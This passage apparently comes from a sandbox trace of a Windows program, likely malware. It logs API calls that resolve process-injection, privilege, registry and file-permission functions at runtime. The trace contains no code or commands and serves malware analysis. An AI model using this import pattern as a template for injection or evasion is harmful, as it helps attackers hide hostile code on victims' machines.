(dwErrCode=0x3c5) [0291.339] GetLastError () returned 0x3c5 [0291.339] GetCurrentThread () returned 0xfffffffe [0291.339] SetLastError (dwErrCode=0x3c9) [0291.339] GetLastError () returned 0x3c9 [0291.340] GetCurrentThread () returned 0xfffffffe [0291.340] SetLastError (dwErrCode=0x3cd) [0291.340] GetLastError () returned 0x3cd [0291.340] GetCurrentThread () returned 0xfffffffe [0291.340] SetLastError (dwErrCode=0x3d1) [0291.340] GetLastError () returned 0x3d1 [0291.340] GetCurrentThread () returned 0xfffffffe [0291.340] SetLastError (dwErrCode=0x3d5) [0291.340] GetLastError () returned 0x3d5 [0291.340] GetCurrentThread () returned 0xfffffffe [0291.340] SetLastError (dwErrCode=0x3d9) [0291.340] GetLastError () returned 0x3d9 [0291.340] GetCurrentThread () returned 0xfffffffe [0291.340] SetLastError (dwErrCode=0x3dd) [0291.340] GetLastError () returned 0x3dd [0291.340] GetCurrentThread () returned 0xfffffffe [0291.340] SetLastError (dwErrCode=0x3e1) [0291.340] GetLastError () returned 0x3e1 [0291.340] GetCurrentThread () returned 0xfffffffe [0291.340] SetLastError (dwErrCode=0x3e5) [0291.340] GetLastError () returned 0x3e5 [0291.340] GetCurrentThread () returned 0xfffffffe [0291.341] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x100) returned 0x484f5a8 [0291.341] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x373c) returned 0x47d04a0 [0291.341] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.341] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6c8 [0291.341] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0291.341] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleHandleA") returned 0x745750b0 [0291.341] lstrlenA (lpString="kernel32.dll") returned 12 [0291.350] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.350] lstrlenA (lpString="GetModuleHandleA") returned 16 [0291.350] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.350] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.350] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6c8 [0291.351] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x74560000 [0291.351] lstrlenA (lpString="kernel32.dll") returned 12 [0291.351] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.351] GetProcAddress (hModule=0x74560000, lpProcName="GetProcAddress") returned 0x745751b0 [0291.351] lstrlenA (lpString="GetProcAddress") returned 14 [0291.351] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.351] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x19) returned 0x484f6b0 [0291.351] GetProcAddress (hModule=0x74560000, lpProcName="CreateToolhelp32Snapshot") returned 0x745aedc0 [0291.351] lstrlenA (lpString="CreateToolhelp32Snapshot") returned 24 [0291.351] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.351] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.352] GetProcAddress (hModule=0x74560000, lpProcName="Process32First") returned 0x745af810 [0291.352] lstrlenA (lpString="Process32First") returned 14 [0291.352] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.352] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.352] GetProcAddress (hModule=0x74560000, lpProcName="Process32Next") returned 0x745af9a0 [0291.352] lstrlenA (lpString="Process32Next") returned 13 [0291.352] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.352] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.352] GetProcAddress (hModule=0x74560000, lpProcName="Module32First") returned 0x745afc90 [0291.352] lstrlenA (lpString="Module32First") returned 13 [0291.352] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.352] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.352] GetProcAddress (hModule=0x74560000, lpProcName="Module32Next") returned 0x745afe30 [0291.352] lstrlenA (lpString="Module32Next") returned 12 [0291.352] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.352] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x13) returned 0x484f6b0 [0291.353] GetProcAddress (hModule=0x74560000, lpProcName="CreateRemoteThread") returned 0x74574670 [0291.353] lstrlenA (lpString="CreateRemoteThread") returned 18 [0291.353] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.353] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x13) returned 0x484f6b0 [0291.353] GetProcAddress (hModule=0x74560000, lpProcName="WriteProcessMemory") returned 0x74576b70 [0291.353] lstrlenA (lpString="WriteProcessMemory") returned 18 [0291.353] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.353] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x12) returned 0x484f6b0 [0291.353] GetProcAddress (hModule=0x74560000, lpProcName="ReadProcessMemory") returned 0x74575e30 [0291.353] lstrlenA (lpString="ReadProcessMemory") returned 17 [0291.353] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.353] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.353] GetProcAddress (hModule=0x74560000, lpProcName="OpenProcess") returned 0x74575cc0 [0291.353] lstrlenA (lpString="OpenProcess") returned 11 [0291.353] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.353] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.354] GetProcAddress (hModule=0x74560000, lpProcName="VirtualAllocEx") returned 0x74576990 [0291.354] lstrlenA (lpString="VirtualAllocEx") returned 14 [0291.354] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.354] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.354] GetProcAddress (hModule=0x74560000, lpProcName="VirtualFreeEx") returned 0x745769f0 [0291.354] lstrlenA (lpString="VirtualFreeEx") returned 13 [0291.354] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.354] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.354] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtect") returned 0x74576a30 [0291.354] lstrlenA (lpString="VirtualProtect") returned 14 [0291.354] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.354] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x14) returned 0x484f6b0 [0291.354] GetProcAddress (hModule=0x74560000, lpProcName="WaitForSingleObject") returned 0x745ceca0 [0291.354] lstrlenA (lpString="WaitForSingleObject") returned 19 [0291.354] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.355] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.355] GetProcAddress (hModule=0x74560000, lpProcName="SetLastError") returned 0x74574f00 [0291.355] lstrlenA (lpString="SetLastError") returned 12 [0291.355] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.355] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x15) returned 0x484f6b0 [0291.355] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentDirectoryA") returned 0x74574e60 [0291.355] lstrlenA (lpString="GetCurrentDirectoryA") returned 20 [0291.355] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.355] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x15) returned 0x484f6b0 [0291.355] GetProcAddress (hModule=0x74560000, lpProcName="SetCurrentDirectoryA") returned 0x74576480 [0291.355] lstrlenA (lpString="SetCurrentDirectoryA") returned 20 [0291.355] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.355] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.355] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessA") returned 0x745745b0 [0291.355] lstrlenA (lpString="CreateProcessA") returned 14 [0291.356] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.356] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x13) returned 0x484f6b0 [0291.356] GetProcAddress (hModule=0x74560000, lpProcName="GetModuleFileNameA") returned 0x74575070 [0291.356] lstrlenA (lpString="GetModuleFileNameA") returned 18 [0291.356] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.356] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.356] GetProcAddress (hModule=0x74560000, lpProcName="SetFilePointer") returned 0x745cf120 [0291.356] lstrlenA (lpString="SetFilePointer") returned 14 [0291.356] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.356] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.356] GetProcAddress (hModule=0x74560000, lpProcName="SetEndOfFile") returned 0x745cf0e0 [0291.356] lstrlenA (lpString="SetEndOfFile") returned 12 [0291.356] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.356] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.356] GetProcAddress (hModule=0x74560000, lpProcName="FindFirstFileA") returned 0x745cedb0 [0291.356] lstrlenA (lpString="FindFirstFileA") returned 14 [0291.357] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.357] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.357] GetProcAddress (hModule=0x74560000, lpProcName="FindNextFileA") returned 0x745cee20 [0291.357] lstrlenA (lpString="FindNextFileA") returned 13 [0291.357] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.357] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f6b0 [0291.357] GetProcAddress (hModule=0x74560000, lpProcName="FindClose") returned 0x745ced70 [0291.357] lstrlenA (lpString="FindClose") returned 9 [0291.357] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.357] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.357] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileA") returned 0x745ced00 [0291.357] lstrlenA (lpString="CreateFileA") returned 11 [0291.357] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.357] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.357] GetProcAddress (hModule=0x74560000, lpProcName="CreateFileW") returned 0x745ced10 [0291.357] lstrlenA (lpString="CreateFileW") returned 11 [0291.357] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.357] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x9) returned 0x484f6b0 [0291.358] GetProcAddress (hModule=0x74560000, lpProcName="ReadFile") returned 0x745cf090 [0291.358] lstrlenA (lpString="ReadFile") returned 8 [0291.358] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.358] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f6b0 [0291.358] GetProcAddress (hModule=0x74560000, lpProcName="WriteFile") returned 0x745cf180 [0291.358] lstrlenA (lpString="WriteFile") returned 9 [0291.358] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.358] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.358] GetProcAddress (hModule=0x74560000, lpProcName="CloseHandle") returned 0x745ceab0 [0291.358] lstrlenA (lpString="CloseHandle") returned 11 [0291.358] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.358] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.358] GetProcAddress (hModule=0x74560000, lpProcName="DeleteFileA") returned 0x745ced30 [0291.358] lstrlenA (lpString="DeleteFileA") returned 11 [0291.358] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.358] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.358] GetProcAddress (hModule=0x74560000, lpProcName="LoadLibraryA") returned 0x74575a80 [0291.359] lstrlenA (lpString="LoadLibraryA") returned 12 [0291.359] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.359] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x13) returned 0x484f6b0 [0291.359] GetProcAddress (hModule=0x74560000, lpProcName="GetCurrentThreadId") returned 0x74578820 [0291.359] lstrlenA (lpString="GetCurrentThreadId") returned 18 [0291.359] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.359] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f6b0 [0291.359] GetProcAddress (hModule=0x74560000, lpProcName="MoveFileA") returned 0x745ae410 [0291.359] lstrlenA (lpString="MoveFileA") returned 9 [0291.359] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.359] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f6b0 [0291.359] GetProcAddress (hModule=0x74560000, lpProcName="LocalFree") returned 0x74575b40 [0291.359] lstrlenA (lpString="LocalFree") returned 9 [0291.359] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.359] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6b0 [0291.359] GetProcAddress (hModule=0x74560000, lpProcName="CreateDirectoryA") returned 0x745cecd0 [0291.359] lstrlenA (lpString="CreateDirectoryA") returned 16 [0291.359] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.359] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x16) returned 0x484f6b0 [0291.360] GetProcAddress (hModule=0x74560000, lpProcName="GetVolumeInformationW") returned 0x745cf020 [0291.360] lstrlenA (lpString="GetVolumeInformationW") returned 21 [0291.360] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.360] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.360] GetProcAddress (hModule=0x74560000, lpProcName="CreateThread") returned 0x745746b0 [0291.360] lstrlenA (lpString="CreateThread") returned 12 [0291.360] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.360] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xb) returned 0x484f6b0 [0291.360] GetProcAddress (hModule=0x74560000, lpProcName="OpenThread") returned 0x74575ce0 [0291.360] lstrlenA (lpString="OpenThread") returned 10 [0291.360] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.360] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x1a) returned 0x484f6b0 [0291.360] GetProcAddress (hModule=0x74560000, lpProcName="ExpandEnvironmentStringsW") returned 0x74574a40 [0291.360] lstrlenA (lpString="ExpandEnvironmentStringsW") returned 25 [0291.360] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.360] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6b0 [0291.360] GetProcAddress (hModule=0x74560000, lpProcName="VirtualProtectEx") returned 0x74576a50 [0291.360] lstrlenA (lpString="VirtualProtectEx") returned 16 [0291.361] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.361] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x13) returned 0x484f6b0 [0291.361] GetProcAddress (hModule=0x74560000, lpProcName="GetFileAttributesW") returned 0x745cef10 [0291.361] lstrlenA (lpString="GetFileAttributesW") returned 18 [0291.361] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.361] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.361] GetProcAddress (hModule=0x74560000, lpProcName="FindResourceA") returned 0x745b27c0 [0291.361] lstrlenA (lpString="FindResourceA") returned 13 [0291.361] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.361] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.361] GetProcAddress (hModule=0x74560000, lpProcName="SizeofResource") returned 0x74576740 [0291.361] lstrlenA (lpString="SizeofResource") returned 14 [0291.361] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.361] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.361] GetProcAddress (hModule=0x74560000, lpProcName="LoadResource") returned 0x74575b00 [0291.361] lstrlenA (lpString="LoadResource") returned 12 [0291.361] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.361] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.362] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessW") returned 0x74574610 [0291.362] lstrlenA (lpString="CreateProcessW") returned 14 [0291.362] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.362] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x17) returned 0x484f6b0 [0291.362] GetProcAddress (hModule=0x74560000, lpProcName="CreateProcessInternalW") returned 0x745745f0 [0291.362] lstrlenA (lpString="CreateProcessInternalW") returned 22 [0291.362] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.362] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x1b) returned 0x484f6b0 [0291.362] GetProcAddress (hModule=0x74560000, lpProcName="InterlockedCompareExchange") returned 0x745773a0 [0291.362] lstrlenA (lpString="InterlockedCompareExchange") returned 26 [0291.362] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.362] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6b0 [0291.362] GetProcAddress (hModule=0x74560000, lpProcName="GetThreadContext") returned 0x74575580 [0291.362] lstrlenA (lpString="GetThreadContext") returned 16 [0291.362] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.362] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xa) returned 0x484f6b0 [0291.362] LoadLibraryA (lpLibFileName="ntdll.dll") returned 0x777e0000 [0291.362] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x19) returned 0x484f6c8 [0291.363] GetProcAddress (hModule=0x777e0000, lpProcName="ZwQueryInformationThread") returned 0x77851f60 [0291.363] lstrlenA (lpString="ZwQueryInformationThread") returned 24 [0291.363] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.363] lstrlenA (lpString="ntdll.dll") returned 9 [0291.363] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.363] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.363] GetProcAddress (hModule=0x777e0000, lpProcName="RtlGetVersion") returned 0x7780fff0 [0291.363] lstrlenA (lpString="RtlGetVersion") returned 13 [0291.363] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.363] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xd) returned 0x484f6b0 [0291.363] LoadLibraryA (lpLibFileName="advapi32.dll") returned 0x77230000 [0291.363] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x16) returned 0x484f6c8 [0291.363] GetProcAddress (hModule=0x77230000, lpProcName="AdjustTokenPrivileges") returned 0x7724ffa0 [0291.363] lstrlenA (lpString="AdjustTokenPrivileges") returned 21 [0291.363] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6c8 | out: hHeap=0x47d0000) returned 1 [0291.363] lstrlenA (lpString="advapi32.dll") returned 12 [0291.363] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.363] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.364] GetProcAddress (hModule=0x77230000, lpProcName="RegOpenKeyExA") returned 0x7724f210 [0291.364] lstrlenA (lpString="RegOpenKeyExA") returned 13 [0291.364] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.364] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x10) returned 0x484f6b0 [0291.364] GetProcAddress (hModule=0x77230000, lpProcName="RegCreateKeyExA") returned 0x7724f560 [0291.364] lstrlenA (lpString="RegCreateKeyExA") returned 15 [0291.364] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.364] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6b0 [0291.364] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryInfoKeyA") returned 0x7724fe20 [0291.364] lstrlenA (lpString="RegQueryInfoKeyA") returned 16 [0291.364] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.364] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.364] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumValueA") returned 0x77251940 [0291.364] lstrlenA (lpString="RegEnumValueA") returned 13 [0291.364] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.364] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xe) returned 0x484f6b0 [0291.365] GetProcAddress (hModule=0x77230000, lpProcName="RegEnumKeyExA") returned 0x77251960 [0291.365] lstrlenA (lpString="RegEnumKeyExA") returned 13 [0291.365] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.365] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xf) returned 0x484f6b0 [0291.365] GetProcAddress (hModule=0x77230000, lpProcName="RegSetValueExA") returned 0x7724ffc0 [0291.365] lstrlenA (lpString="RegSetValueExA") returned 14 [0291.365] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.365] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6b0 [0291.365] GetProcAddress (hModule=0x77230000, lpProcName="RegQueryValueExA") returned 0x7724f020 [0291.365] lstrlenA (lpString="RegQueryValueExA") returned 16 [0291.365] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.365] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0xc) returned 0x484f6b0 [0291.366] GetProcAddress (hModule=0x77230000, lpProcName="RegCloseKey") returned 0x7724ed60 [0291.366] lstrlenA (lpString="RegCloseKey") returned 11 [0291.366] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.366] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x10) returned 0x484f6b0 [0291.366] GetProcAddress (hModule=0x77230000, lpProcName="RegDeleteValueA") returned 0x772507a0 [0291.366] lstrlenA (lpString="RegDeleteValueA") returned 15 [0291.366] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.366] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x19) returned 0x484f6b0 [0291.366] GetProcAddress (hModule=0x77230000, lpProcName="AllocateAndInitializeSid") returned 0x7724f440 [0291.366] lstrlenA (lpString="AllocateAndInitializeSid") returned 24 [0291.366] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.366] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6b0 [0291.366] GetProcAddress (hModule=0x77230000, lpProcName="SetEntriesInAclA") returned 0x772536e0 [0291.366] lstrlenA (lpString="SetEntriesInAclA") returned 16 [0291.366] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.367] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x16) returned 0x484f6b0 [0291.367] GetProcAddress (hModule=0x77230000, lpProcName="SetNamedSecurityInfoA") returned 0x772534a0 [0291.367] lstrlenA (lpString="SetNamedSecurityInfoA") returned 21 [0291.367] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.367] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x11) returned 0x484f6b0 [0291.367] GetProcAddress (hModule=0x77230000, lpProcName="SetFileSecurityW") returned 0x77250920 [0291.367] lstrlenA (lpString="SetFileSecurityW") returned 16 [0291.367] HeapFree (in: hHeap=0x47d0000, dwFlags=0x0, lpMem=0x484f6b0 | out: hHeap=0x47d0000) returned 1 [0291.367] RtlAllocateHeap (HeapHandle=0x47d0000, Flags=0x8, Size=0x8) returned 